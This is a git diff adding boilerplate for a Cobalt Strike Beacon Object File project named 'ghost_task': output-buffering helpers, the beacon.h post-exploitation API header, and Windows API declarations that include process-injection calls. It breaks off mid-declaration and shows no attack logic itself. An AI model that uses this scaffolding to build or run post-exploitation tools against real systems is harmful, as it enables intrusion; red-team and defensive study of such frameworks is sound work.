+#include "bofdefs.h" +#include "beacon.h" +#ifndef bufsize +#define bufsize 8192 +#endif + + +char * output __attribute__((section (".data"))) = 0; // this is just done so its we don't go into .bss which isn't handled properly +WORD currentoutsize __attribute__((section (".data"))) = 0; +HANDLE trash __attribute__((section (".data"))) = NULL; // Needed for x64 to not give relocation error + +#ifdef BOF +int bofstart(); +void internal_printf(const char* format, ...); +void printoutput(BOOL done); +#endif +char * Utf16ToUtf8(const wchar_t* input); + +int bofstart() +{ + output = (char*)MSVCRT$calloc(bufsize, 1); + currentoutsize = 0; + return 1; +} + +void internal_printf(const char* format, ...){ + int buffersize = 0; + int transfersize = 0; + char * curloc = NULL; + char* intBuffer = NULL; + va_list args; + va_start(args, format); + buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null + va_end(args); + + // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string) + if (buffersize == -1) + return; + + char* transferBuffer = (char*)intAlloc(bufsize); + intBuffer = (char*)intAlloc(buffersize); + /*Print string to memory buffer*/ + va_start(args, format); + MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string + va_end(args); + if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end + { + //BeaconFormatPrintf(&output, intBuffer); + MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize); + currentoutsize += buffersize; + } + else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print + { + curloc = intBuffer; + while(buffersize > 0) + { + transfersize = bufsize - currentoutsize; // what is the max we could transfer this request + if(buffersize < transfersize) //if I have less then that, lets just transfer what's left + { + transfersize = buffersize; + } + MSVCRT$memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer + currentoutsize += transfersize; + if(currentoutsize == bufsize) + { + printoutput(FALSE); // sets currentoutsize to 0 and prints + } + MSVCRT$memset(transferBuffer, 0, transfersize); // reset our transfer buffer + curloc += transfersize; // increment by how much data we just wrote + buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall + } + } + intFree(intBuffer); + intFree(transferBuffer); +} + +void printoutput(BOOL done) +{ + + char * msg = NULL; + BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize); + currentoutsize = 0; + MSVCRT$memset(output, 0, bufsize); + if(done) {MSVCRT$free(output); output=NULL;} +} + + +#ifdef DYNAMIC_LIB_COUNT + + +typedef struct loadedLibrary { + HMODULE hMod; // mod handle + const char * name; // name normalized to uppercase +}loadedLibrary, *ploadedLibrary; +loadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (".data"))) = {0}; +DWORD loadedLibrariesCount __attribute__((section (".data"))) = 0; + +BOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget) +{ + BOOL bmatch = FALSE; + DWORD pos = 0; + while(szLibrary[pos] && sztarget[pos]) + { + if(szLibrary[pos] != sztarget[pos]) + { + goto end; + } + pos++; + } + if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match + {goto end;} + bmatch = TRUE; + + end: + return bmatch; +} + +FARPROC DynamicLoad(const char * szLibrary, const char * szFunction) +{ + FARPROC fp = NULL; + HMODULE hMod = NULL; + DWORD i = 0; + DWORD liblen = 0; + for(i = 0; i < loadedLibrariesCount; i++) + { + if(intstrcmp(szLibrary, loadedLibraries[i].name)) + { + hMod = loadedLibraries[i].hMod; + } + } + if(!hMod) + { + hMod = LoadLibraryA(szLibrary); + if(!hMod){ + BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\nCould not find library to load.", szLibrary); + return NULL; + } + loadedLibraries[loadedLibrariesCount].hMod = hMod; + loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop + loadedLibrariesCount++; + } + fp = GetProcAddress(hMod, szFunction); + + if (NULL == fp) + { + BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\n", szFunction); + } + return fp; +} +#endif + + +char* Utf16ToUtf8(const wchar_t* input) +{ + int ret = KERNEL32$WideCharToMultiByte( + CP_UTF8, + 0, + input, + -1, + NULL, + 0, + NULL, + NULL + ); + + char* newString = (char*)intAlloc(sizeof(char) * ret); + + ret = KERNEL32$WideCharToMultiByte( + CP_UTF8, + 0, + input, + -1, + newString, + sizeof(char) * ret, + NULL, + NULL + ); + + if (0 == ret) + { + goto fail; + } + +retloc: + return newString; +/*location to free everything centrally*/ +fail: + if (newString){ + intFree(newString); + newString = NULL; + }; + goto retloc; +} + +//release any global functions here +void bofstop() +{ +#ifdef DYNAMIC_LIB_COUNT + DWORD i; + for(i = 0; i < loadedLibrariesCount; i++) + { + FreeLibrary(loadedLibraries[i].hMod); + } +#endif + return; +} diff --git a/SAR-BOF/ghost_task/src/beacon.h b/SAR-BOF/ghost_task/src/beacon.h new file mode 100644 index 0000000..aefcff1 --- /dev/null +++ b/SAR-BOF/ghost_task/src/beacon.h @@ -0,0 +1,64 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Cobalt Strike 4.1. + */ + +/* data API */ +#pragma once + +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_ERROR 0x0d +#define CALLBACK_OUTPUT_UTF8 0x20 + +DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...); +DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess (BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); diff --git a/SAR-BOF/ghost_task/src/bofdefs.h b/SAR-BOF/ghost_task/src/bofdefs.h new file mode 100644 index 0000000..12e7832 --- /dev/null +++ b/SAR-BOF/ghost_task/src/bofdefs.h @@ -0,0 +1,976 @@ +#pragma once +#pragma intrinsic(memcpy,strcpy,strcmp,strlen) +#define SECURITY_WIN32 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) +#define intRealloc(ptr, size) (ptr) ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, size) : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) +#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr) +#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size) + +#ifdef BOF +//KERNEL32 +WINBASEAPI void * WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +WINBASEAPI WINBOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +WINBASEAPI SIZE_T WINAPI KERNEL32$VirtualQueryEx (HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); +WINBASEAPI int WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +WINBASEAPI int WINAPI KERNEL32$VirtualFreeEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +WINBASEAPI HLOCAL WINAPI KERNEL32$LocalAlloc (UINT, SIZE_T); +WINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree (HLOCAL); +WINBASEAPI HGLOBAL KERNEL32$GlobalAlloc(UINT uFlags, SIZE_T dwBytes); +WINBASEAPI HGLOBAL KERNEL32$GlobalFree(HGLOBAL hMem); +WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); +WINBASEAPI LPVOID WINAPI KERNEL32$HeapReAlloc (HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); +WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); +WINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID); +WINBASEAPI DWORD WINAPI KERNEL32$FormatMessageA (DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments); +WINBASEAPI int WINAPI KERNEL32$WideCharToMultiByte (UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar); +WINBASEAPI int WINAPI KERNEL32$MultiByteToWideChar (UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar); +WINBASEAPI int WINAPI KERNEL32$FileTimeToLocalFileTime (CONST FILETIME *lpFileTime, LPFILETIME lpLocalFileTime); +WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime (CONST FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime); +WINBASEAPI int WINAPI KERNEL32$GetDateFormatW (LCID Locale, DWORD dwFlags, CONST SYSTEMTIME *lpDate, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate); +WINBASEAPI VOID WINAPI KERNEL32$GetSystemTimeAsFileTime (LPFILETIME lpSystemTimeAsFileTime); +WINBASEAPI VOID WINAPI KERNEL32$GetSystemInfo (LPSYSTEM_INFO lpSystemInfo); +WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID); +WINBASEAPI VOID WINAPI KERNEL32$SetLastError (DWORD dwErrCode); +WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject); +WINBASEAPI DWORD WINAPI KERNEL32$GetTickCount (VOID); +WINBASEAPI LPVOID WINAPI KERNEL32$CreateFiber (SIZE_T dwStackSize, LPFIBER_START_ROUTINE lpStartAddress, LPVOID lpParameter); +WINBASEAPI LPVOID WINAPI KERNEL32$ConvertThreadToFiber (LPVOID lpParameter); +WINBASEAPI WINBOOL WINAPI KERNEL32$ConvertFiberToThread (VOID); +WINBASEAPI VOID WINAPI KERNEL32$DeleteFiber (LPVOID lpFiber); +WINBASEAPI VOID WINAPI KERNEL32$SwitchToFiber (LPVOID lpFiber); +WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds); +WINBASEAPI VOID WINAPI KERNEL32$Sleep (DWORD dwMilliseconds); +WINBASEAPI WINBOOL WINAPI KERNEL32$CreateProcessW (LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, WINBOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); +WINBASEAPI WINBOOL WINAPI KERNEL32$CreateProcessA (LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, WINBOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); +WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId); +WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess (VOID); +WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread (VOID); +WINBASEAPI WINBOOL WINAPI KERNEL32$GetExitCodeProcess (HANDLE hProcess, LPDWORD lpExitCode); +WINBASEAPI WINBOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); +WINBASEAPI WINBOOL WINAPI KERNEL32$ReadProcessMemory (HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); +WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentProcessId (VOID); +WINBASEAPI DWORD WINAPI KERNEL32$GetProcessIdOfThread (HANDLE Thread); +WINBASEAPI WINBOOL WINAPI KERNEL32$ProcessIdToSessionId (DWORD dwProcessId, DWORD *pSessionId); +WINBASEAPI WINBOOL WINAPI KERNEL32$InitializeProcThreadAttributeList (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwAttributeCount, DWORD dwFlags, PSIZE_T lpSize); +WINBASEAPI WINBOOL WINAPI KERNEL32$UpdateProcThreadAttribute (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwFlags, DWORD_PTR Attribute, PVOID lpValue, SIZE_T cbSize, PVOID lpPreviousValue, PSIZE_T lpReturnSize); +WINBASEAPI VOID WINAPI KERNEL32$DeleteProcThreadAttributeList (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateRemoteThread (HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); +WINBASEAPI HANDLE WINAPI KERNEL32$OpenThread (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwThreadId); +WINBASEAPI WINBOOL WINAPI KERNEL32$GetThreadContext (HANDLE hThread, LPCONTEXT lpContext); +WINBASEAPI WINBOOL WINAPI KERNEL32$SetThreadContext (HANDLE hThread, CONST LPCONTEXT lpContext); +WINBASEAPI DWORD WINAPI KERNEL32$SuspendThread (HANDLE hThread); +WINBASEAPI DWORD WINAPI KERNEL32$ResumeThread (HANDLE hThread); +WINBASEAPI WINBOOL WINAPI KERNEL32$GetComputerNameExW (COMPUTER_NAME_FORMAT NameType, LPWSTR lpBuffer, LPDWORD nSize); +WINBASEAPI WINBOOL WINAPI KERNEL32$GetComputerNameA (LPSTR lpBuffer, LPDWORD nSize); +WINBASEAPI int WINAPI KERNEL32$lstrcmpA (LPCSTR lpString1, LPCSTR lpString2); +WINBASEAPI int WINAPI KERNEL32$lstrcmpW (LPCWSTR lpString1, LPCWSTR lpString2); +WINBASEAPI int WINAPI KERNEL32$lstrcmpiW (LPCWSTR lpString1, LPCWSTR lpString2); +WINBASEAPI int WINAPI KERNEL32$lstrlenA (LPCSTR lpString); +WINBASEAPI int WINAPI KERNEL32$lstrlenW (LPCWSTR lpString); +WINBASEAPI LPWSTR WINAPI KERNEL32$lstrcatW (LPWSTR lpString1, LPCWSTR lpString2); +WINBASEAPI LPWSTR WINAPI KERNEL32$lstrcpynW (LPWSTR lpString1, LPCWSTR lpString2, int iMaxLength); +WINBASEAPI DWORD WINAPI KERNEL32$GetFullPathNameW (LPCWSTR lpFileName, DWORD nBufferLength, LPWSTR lpBuffer, LPWSTR *lpFilePart); +WINBASEAPI DWORD WINAPI KERNEL32$GetFileAttributesW (LPCWSTR lpFileName); +WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentDirectoryW (DWORD nBufferLength, LPWSTR lpBuffer); +WINBASEAPI HANDLE WINAPI KERNEL32$FindFirstFileW (LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData); +WINBASEAPI WINBOOL WINAPI KERNEL32$FindNextFileW (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData); +WINBASEAPI WINBOOL WINAPI KERNEL32$FindClose (HANDLE hFindFile); +WINBASEAPI DWORD WINAPI KERNEL32$ExpandEnvironmentStringsW (LPCWSTR lpSrc, LPWSTR lpDst, DWORD nSize); +WINBASEAPI DWORD WINAPI KERNEL32$ExpandEnvironmentStringsA (LPCSTR lpSrc, LPSTR lpDst, DWORD nSize); +WINBASEAPI DWORD WINAPI KERNEL32$GetTempPathW (DWORD nBufferLength, LPWSTR lpBuffer); +WINBASEAPI DWORD WINAPI KERNEL32$GetTempFileNameW (LPCWSTR lpPathName, LPCWSTR lpPrefixString, UINT uUnique, LPWSTR lpTempFileName); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA (LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); +WINBASEAPI DWORD WINAPI KERNEL32$GetFileSize (HANDLE hFile, LPDWORD lpFileSizeHigh); +WINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); +WINBASEAPI WINBOOL WINAPI KERNEL32$WriteFile (HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); +WINBASEAPI WINBOOL WINAPI KERNEL32$DeleteFileW (LPCWSTR lpFileName); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileMappingA (HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName); +WINBASEAPI LPVOID WINAPI KERNEL32$MapViewOfFile (HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap); +WINBASEAPI WINBOOL WINAPI KERNEL32$UnmapViewOfFile (LPCVOID lpBaseAddress); +WINBASEAPI LPTCH WINAPI KERNEL32$GetEnvironmentStrings(); +WINBASEAPI BOOL WINAPI KERNEL32$FreeEnvironmentStringsA(LPSTR); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID); +WINBASEAPI WINBOOL WINAPI KERNEL32$Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe); +WINBASEAPI WINBOOL WINAPI KERNEL32$Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe); +WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR lpLibFileName); +WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE hModule, LPCSTR lpProcName); +WINBASEAPI WINBOOL WINAPI KERNEL32$FreeLibrary (HMODULE hLibModule); +WINBASEAPI WINBOOL WINAPI KERNEL32$SetEvent (HANDLE hEvent); +WINBASEAPI WINBOOL WINAPI KERNEL32$TerminateThread (HANDLE hThread, DWORD dwExitCode); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateEventA (LPSECURITY_ATTRIBUTES lpEventAttributes, WINBOOL bManualReset, WINBOOL bInitialState, LPCSTR lpName); +WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleW(LPCWSTR lpModuleName); + + +//IPHLPAPI +//ULONG WINAPI IPHLPAPI$GetAdaptersInfo (PIP_ADAPTER_INFO AdapterInfo, PULONG SizePointer); +WINBASEAPI DWORD WINAPI IPHLPAPI$GetAdaptersInfo(PIP_ADAPTER_INFO,PULONG); +WINBASEAPI DWORD WINAPI IPHLPAPI$GetIpForwardTable (PMIB_IPFORWARDTABLE pIpForwardTable, PULONG pdwSize, WINBOOL bOrder); +WINBASEAPI DWORD WINAPI IPHLPAPI$GetNetworkParams(PFIXED_INFO,PULONG); +WINBASEAPI ULONG WINAPI IPHLPAPI$GetUdpTable (PMIB_UDPTABLE UdpTable, PULONG SizePointer, WINBOOL Order); +WINBASEAPI ULONG WINAPI IPHLPAPI$GetTcpTable (PMIB_TCPTABLE TcpTable, PULONG SizePointer, WINBOOL Order); + +//MSVCRT +WINBASEAPI char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,const char * __restrict__ _Source); +WINBASEAPI int __cdecl MSVCRT$_snprintf(char * __restrict__ _Dest,size_t _Count,const char * __restrict__ _Format,...); +WINBASEAPI int __cdecl MSVCRT$sscanf(const char * __restrict__ _Src,const char * __restrict__ _Format,...); +WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements); +WINBASEAPI void *__cdecl MSVCRT$realloc(void *_Memory, size_t _NewSize); +WINBASEAPI void __cdecl MSVCRT$free(void *_Memory); +WINBASEAPI int __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size); +WINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount); +WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); +WINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...); +WINBASEAPI int __cdecl MSVCRT$vsnprintf(char * __restrict__ d,size_t n,const char * __restrict__ format,va_list arg); +WINBASEAPI int __cdecl MSVCRT$_stricmp(const char *_Str1,const char *_Str2); +WINBASEAPI PCHAR __cdecl MSVCRT$strchr(const char *haystack, int needle); +WINBASEAPI int __cdecl MSVCRT$strcmp(const char *_Str1,const char *_Str2); +WINBASEAPI char * __cdecl MSVCRT$strcpy(char * __restrict__ __dst, const char * __restrict__ __src); +WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str); +WINBASEAPI int __cdecl MSVCRT$wcsncmp(const wchar_t *_Str1,const wchar_t *_Str2, size_t count); +WINBASEAPI int __cdecl MSVCRT$strncmp(const char *_Str1,const char *_Str2,size_t _MaxCount); +WINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *_Str,size_t _MaxCount); +WINBASEAPI PCHAR __cdecl MSVCRT$strstr(const char *haystack, const char *needle); +WINBASEAPI char *__cdecl MSVCRT$strtok(char * __restrict__ _Str,const char * __restrict__ _Delim); +WINBASEAPI int __cdecl MSVCRT$swprintf(wchar_t *__stream, const wchar_t *__format, ...); +WINBASEAPI int __cdecl MSVCRT$_swprintf(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Format,...); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcscat(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcsncat(wchar_t * __restrict__ _Dest, const wchar_t * __restrict__ _Source, size_t _Count); +WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *_Str1,const wchar_t *_Str2); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcscpy(wchar_t * __restrict__ _Dest, const wchar_t * __restrict__ _Source); +WINBASEAPI errno_t __cdecl MSVCRT$wcscpy_s(wchar_t *_Dst, rsize_t _DstSize, const wchar_t *_Src); +WINBASEAPI _CONST_RETURN wchar_t *__cdecl MSVCRT$wcschr(const wchar_t *_Str, wchar_t _Ch); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcsrchr(const wchar_t *_Str,wchar_t _Ch); +WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcsstr(const wchar_t *_Str,const wchar_t *_SubStr); +WINBASEAPI wchar_t *__cdecl MSVCRT$wcstok(wchar_t * __restrict__ _Str,const wchar_t * __restrict__ _Delim); +WINBASEAPI unsigned long __cdecl MSVCRT$wcstoul(const wchar_t * __restrict__ _Str,wchar_t ** __restrict__ _EndPtr,int _Radix); +WINBASEAPI long __cdecl MSVCRT$_wtol(const wchar_t * str); +DECLSPEC_IMPORT void __cdecl MSVCRT$srand(unsigned int _Seed); +DECLSPEC_IMPORT int __cdecl MSVCRT$rand(void); +_CRTIMP __time32_t __cdecl MSVCRT$_time32(__time32_t *_Time); +WINBASEAPI int __cdecl MSVCRT$_snwprintf(wchar_t * __restrict__ _Dest,size_t _Count,const wchar_t * __restrict__ _Format,...); +_CRTIMP uintptr_t __cdecl MSVCRT$_beginthreadex(void *_Security,unsigned _StackSize,_beginthreadex_proc_type _StartAddress,void *_ArgList,unsigned _InitFlag,unsigned *_ThrdAddr); +_CRTIMP void __cdecl MSVCRT$_endthreadex(unsigned _Retval) __MINGW_ATTRIB_NORETURN; +WINBASEAPI int __cdecl MSVCRT$swprintf_s(wchar_t *buffer, size_t sizeOfBuffer, const wchar_t *format, ...); + +_CRTIMP __time64_t __cdecl MSVCRT$_time64(__time64_t *_Time); + +//SHLWAPI +WINBASEAPI LPWSTR WINAPI SHLWAPI$PathCombineW(LPWSTR pszDest,LPCWSTR pszDir,LPCWSTR pszFile); +WINBASEAPI WINBOOL WINAPI SHLWAPI$PathFileExistsW(LPCWSTR pszPath); +WINBASEAPI LPSTR WINAPI SHLWAPI$StrStrA(LPCSTR lpFirst,LPCSTR lpSrch); + +//SHELL32 +WINBASEAPI WINBOOL WINAPI SHELL32$ShellExecuteExW(SHELLEXECUTEINFOW *pExecInfo); +WINBASEAPI HINSTANCE WINAPI SHELL32$ShellExecuteA (HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd); + +//DNSAPI +WINBASEAPI DNS_STATUS WINAPI DNSAPI$DnsQuery_A(PCSTR,WORD,DWORD,PIP4_ARRAY,PDNS_RECORD*,PVOID*); +WINBASEAPI VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType); + +//WSOCK32 +WINBASEAPI unsigned long WINAPI WSOCK32$inet_addr(const char *cp); + +//WS2_32 +WINBASEAPI u_long WINAPI WS2_32$htonl(u_long hostlong); +WINBASEAPI u_short WINAPI WS2_32$htons(u_short hostshort); +WINBASEAPI char * WINAPI WS2_32$inet_ntoa(struct in_addr in); +WINBASEAPI LPCWSTR WINAPI WS2_32$InetNtopW(INT Family, LPCVOID pAddr, LPWSTR pStringBuf, size_t StringBufSIze); +WINBASEAPI INT WINAPI WS2_32$inet_pton(INT Family, LPCSTR pStringBuf, PVOID pAddr); +WINBASEAPI int WINAPI WS2_32$WSAStartup(WORD wVersionRequested,LPWSADATA lpWSAData); +WINBASEAPI int WINAPI WS2_32$WSAGetLastError(void); +WINBASEAPI int WINAPI WS2_32$socket(int af,int type,int protocol); +WINBASEAPI int WINAPI WS2_32$setsockopt(SOCKET s,int level,int optname,const char *optval,int optlen); +WINBASEAPI int WINAPI WS2_32$sendto(SOCKET s,const char *buf,int len,int flags,const struct sockaddr *to,int tolen); +WINBASEAPI int WINAPI WS2_32$recvfrom(SOCKET s,char *buf,int len,int flags,struct sockaddr *from,int *fromlen); +WINBASEAPI int WINAPI WS2_32$recv(SOCKET s,char *buf,int len,int flags); +WINBASEAPI int WINAPI WS2_32$closesocket(SOCKET s); +WINBASEAPI int WINAPI 